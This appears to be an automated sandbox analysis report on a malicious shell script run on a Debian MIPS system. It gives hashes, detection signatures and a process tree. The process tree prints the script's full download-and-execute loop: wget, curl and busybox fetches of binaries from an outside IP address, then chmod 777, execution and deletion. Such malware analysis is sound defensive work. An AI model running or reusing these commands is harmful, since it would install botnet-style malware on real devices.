7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436

Analysis

max time kernel
55s
max time network
83s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
16/11/2024, 08:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
Size 10KB
Sample241116-kh9efstakf
SHA256 7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436
MD5 bb2b3973ae498e624d82f41d1755eac9
SHA1 0b16ecd9dae8a3e2aaeb5c55e07ad2755c26c9d6
SHA512 af5569dbeb4913d9c19af37799a6f96d31dcc88eb4e0a1d8be442129bda38ca89c0d232207fe8a9717bba27af0fdcfe1dde8489a2c2ae89346c06f32a32af9fd
SSDEEP 192:mq2TptpVpCDnF7lNWE7OCy7v7sG6LXDVQlN0477LLLL7LQfPpV95ZgZQZtuyBjnL:lLm8H47fPDQfPqO4fPDQfPEK
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
827	chmod
932	chmod
968	chmod
980	chmod
962	chmod
793	chmod
848	chmod
896	chmod
944	chmod
956	chmod
986	chmod
743	chmod
878	chmod
902	chmod
914	chmod
950	chmod
815	chmod
938	chmod
821	chmod
872	chmod
926	chmod
974	chmod
757	chmod
884	chmod
908	chmod
751	chmod
890	chmod
920	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl
File opened for modification	/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	curl
File opened for modification	/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	curl
File opened for modification	/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	curl
File opened for modification	/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	curl
File opened for modification	/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	curl
File opened for modification	/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	curl
File opened for modification	/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	curl
File opened for modification	/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	curl
File opened for modification	/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	curl
File opened for modification	/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	curl
File opened for modification	/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl
File opened for modification	/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	curl
File opened for modification	/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	curl
File opened for modification	/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	curl
File opened for modification	/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	curl
File opened for modification	/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	curl

/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:717
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:719
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:740
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:750
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:756
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:790
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:799
- /usr/bin/wget
  wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:813
- /bin/chmod
  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:820
- /bin/chmod
  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:823
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:826
- /bin/chmod
  chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:829
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:844
- /bin/chmod
  chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:869
- /bin/chmod
  chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:877
- /bin/chmod
  chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:883
- /bin/chmod
  chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:889
- /bin/chmod
  chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:895
- /bin/chmod
  chmod 777 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  ./2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:901
- /bin/chmod
  chmod 777 VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  ./VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:907
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:913
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:919
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:925
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:931
- /bin/chmod
  chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:937
- /bin/chmod
  chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:943
- /bin/chmod
  chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:949
- /bin/chmod
  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:955
- /bin/chmod
  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:961
- /bin/chmod
  chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
